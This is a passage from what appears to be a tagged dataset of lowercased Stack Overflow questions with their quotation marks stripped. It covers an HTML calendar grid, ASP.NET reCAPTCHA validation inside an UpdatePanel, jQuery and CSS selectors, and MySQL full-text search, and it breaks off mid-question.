&gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 9 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;10 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;11 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;12 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;13 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;14 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;15 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;16 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;17 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;18 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;19 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;20 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;21 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;22 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;23 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;24 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;25 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;26 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;27 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;28 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;29 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;30 november&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 1 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 2 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 3 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 4 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 5 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 6 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 7 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 8 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt; 9 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;10 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;11 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;12 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;13 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;14 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;15 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;16 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;17 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;      &lt;div class= dayrow &gt;&lt;div class= date  style= float:left; &gt;18 december&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;div class= columnok &gt;&lt;/div&gt;&lt;/div&gt;       &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
asp.net nocaptcha not updating in updatepanel  nocaptcha image works fine if i don t add updatepanel  but if i add updatepanel it does not update on postback. here is my code :   <pre><code> &lt;asp:updatepanel id= updatepaneltriggers  runat= server  updatemode= conditional &gt;         &lt;contenttemplate&gt;              --nocaptcha             &lt;div id= captcha  runat= server  class= login_re_captcha_hidden &gt;                 &lt;div class= g-recaptcha  data-sitekey= key &gt;                 &lt;/div&gt;             &lt;/div&gt;          &lt;/contenttemplate&gt;         &lt;triggers&gt;             &lt;asp:asyncpostbacktrigger controlid= btnlogin  /&gt;         &lt;/triggers&gt;     &lt;/asp:updatepanel&gt;     &lt;asp:updateprogress id= uprcampaigns  runat= server  displayafter= 0  associatedupdatepanelid= updatepaneltriggers &gt;         &lt;progresstemplate&gt;             &lt;div class= loadingiconbackground &gt;                 &lt;div style= height: 85px; top: 0px; width: 100% &gt;                 &lt;/div&gt;                 &lt;div style= min-height: 100%; background-color: white &gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= loadingicondiv &gt;                 &lt;img src= images/pleasewait_small.gif  /&gt;             &lt;/div&gt;         &lt;/progresstemplate&gt;     &lt;/asp:updateprogress&gt; </code></pre>   here is my server side code. i use this code to validate the user s answer :   <pre><code>private bool validateuserrecaptcharesponse()         {             bool validated = true;              if (request[ g-recaptcha-response ] != null &amp;&amp; request[ g-recaptcha-response ] !=   )             {                 string scatcharesponse = request[ g-recaptcha-response ];                 string ssecret =  key ; //put in webconfig                 string sipaddress = request.servervariables[ remote_addr ].tostring();                 sipaddress =  x.2x.x.18 ;                  // next create a webclient instance to call the web api and get the result...                  system.net.webclient wc = new system.net.webclient();                 string srequest = string.format( https://www.google.com/recaptcha/api/siteverify secret={0}&amp;response={1}&amp;remoteip={2}   ssecret  scatcharesponse  sipaddress);                 string sresponse = wc.downloadstring(srequest);                  //add  &lt;system.net&gt;                 //&lt;defaultproxy usedefaultcredentials= true  /&gt;                 //&lt;/system.net&gt; for downloadstring(srequest) in webconfig                  // the result comes back as a json object. i ve created a simple googleresponse object to hold this information                  // and am using the javascriptserializer to deserialize the response accordingly...                  system.web.script.serialization.javascriptserializer serializer = new system.web.script.serialization.javascriptserializer();                 googleresponse response = serializer.deserialize&lt;googleresponse&gt;(sresponse);                  // now we can just check if the call succeeded or failed and take the necessary action                  if (!response.success)                 {                     // just output an error on the front end here                      validated = false;                 }             }             else             {                 // ok if you re here  you basically didn t check that bot question on the form.                  // tell the user to do so and resubmit the form                 validated = false;             }              return validated;         } </code></pre>   please help,asp.net
find all elements that don t have specific css class in jquery   i have already find a lot of questions like this here in stack overflow but none help me.    <strong><em>my elements are added dynamically by ajax.</em></strong>    when i try to find all elements that don t have specific class  it return the element ho has.    take a look:    <img src= https://i.stack.imgur.com/vlpns.png  alt= enter image description here >    as you can see  it returns the last element  ho has the div with class <code>btn-group</code>.    i want all elements that don t have this div inside.,jquery
"how to change font color of last element with specific class  here is my html    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.user-container div.user-left:last-child{
   color:red;
 }
 .user-container div.user-right:last-child{
   color:red;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= user-container &gt;
     &lt;div class= user user-left &gt;some text.&lt;/div&gt;
     &lt;div class= user user-left &gt;some text.&lt;/div&gt;
     &lt;div class= user user-left &gt;some text.&lt;/div&gt;
     &lt;div class= user user-left &gt;some text.&lt;/div&gt;
     &lt;div class= user user-left &gt;some text. this is user left last&lt;/div&gt;
     &lt;div class= user user-right &gt;some text.&lt;/div&gt;
     &lt;div class= user user-right &gt;some text.&lt;/div&gt;
     &lt;div class= user user-right &gt;some text.&lt;/div&gt;
     &lt;div class= user user-right &gt;some text. this is user right last&lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     is there any way to change font color of last child of class  user-left  and class  user-right  using css   in here user-right:last-child working but user-left:last-child not working.any idea",css
how to make hover div sound   <a href= https://github.com/robocop79/websiteland/blob/master/index.html  rel= nofollow noreferrer >https://github.com/robocop79/websiteland/blob/master/index.html</a>    i can t get a repeating black and yellow gradient to play black and yellow on hover,html
mysql incorrect search record returned  i have an issue with the way mysql is searching for text in columns. i have a text string to search for but the db is returning different variations of the string  specifically ignoring the hyphen in the column data. an example:    search for <strong> %800fm% </strong> and its returning data with the string <strong> 800f-m </strong> i only want to return data that matches the searched for string (i.e. in this situation don t ignore the hyphen in the column value)    i have tried the below queries but i still keep getting the records with hyphens:   <pre><code>select p.partno         p.stripedpartno         p.id as partid         m.manufacturername         concat(m.manufacturername       p.partno) as fullpartname         1 as `order` from parts p join manufacturers m on m.id = p.manufacturerid join partsearchcache pc on pc.partid = p.id where match (pc.partname) against ( 800fm )   and p.managerapproved = 1 limit 100 </code></pre>   and   <pre><code>    select p.partno             p.stripedpartno             p.id as partid             m.manufacturername             concat(m.manufacturername       p.partno) as fullpartname             1 as `order`     from parts p     join manufacturers m on m.id = p.manufacturerid     join partsearchcache pc on pc.partid = p.id     where match (pc.partname) against ( %800fm% )       and p.managerapproved = 1     limit 100 </code></pre>   and   <pre><code>select p.partno         p.stripedpartno         p.id as partid         m.manufacturername         concat(m.manufacturername       p.partno) as fullpartname         1 as `order` from parts p join manufacturers m on m.id = p.manufacturerid join partsearchcache pc on pc.partid = p.id where pc.partname like  %800fm%    and p.managerapproved = 1 limit 100 </code></pre>   i have enabled a <strong>fulltext</strong> index ont he <strong>pc.partname</strong> column but still do not get the desired result.    i realise that the match against wont work as i indent but i thoughts i d show those examples to show what i am trying to 